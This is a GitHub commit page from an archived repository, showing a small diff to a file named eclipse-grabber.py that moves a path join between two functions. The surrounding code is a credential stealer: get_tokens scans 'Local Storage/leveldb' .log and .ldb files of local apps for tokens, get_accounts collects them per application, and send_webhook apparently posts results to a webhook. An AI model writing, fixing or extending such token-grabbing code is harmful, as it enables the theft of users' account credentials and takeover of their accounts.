Skip to content
This repository has been archived by the owner on Jun 7, 2022. It is now read-only.

Commit

Permalink
fix: path issue
Browse files Browse the repository at this point in the history
  • Loading branch information
JM1k1 committed Jan 25, 2022
1 parent 1894d6c commit 300c903
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion code/eclipse-grabber.py
Original file line number Diff line number Diff line change
Expand Up @@ -198,7 +198,6 @@ def send_webhook(embeds: List[dict], WEBHOOK_URL: str):


def get_tokens(path: str) -> List[str]:
path = os.path.join(path, "Local Storage", "leveldb")
tokens = []
for file_name in os.listdir(path):
if not file_name.endswith(".log") and not file_name.endswith(".ldb"):
Expand All @@ -216,6 +215,7 @@ def get_tokens(path: str) -> List[str]:
def get_accounts(host: Computer) -> dict:
accounts = {}
for app_name, path in host.get_paths().items():
path = os.path.join(path, "Local Storage", "leveldb")
if not os.path.exists(path):
continue
for token in get_tokens(path):
Expand Down

0 comments on commit 300c903

Please sign in to comment.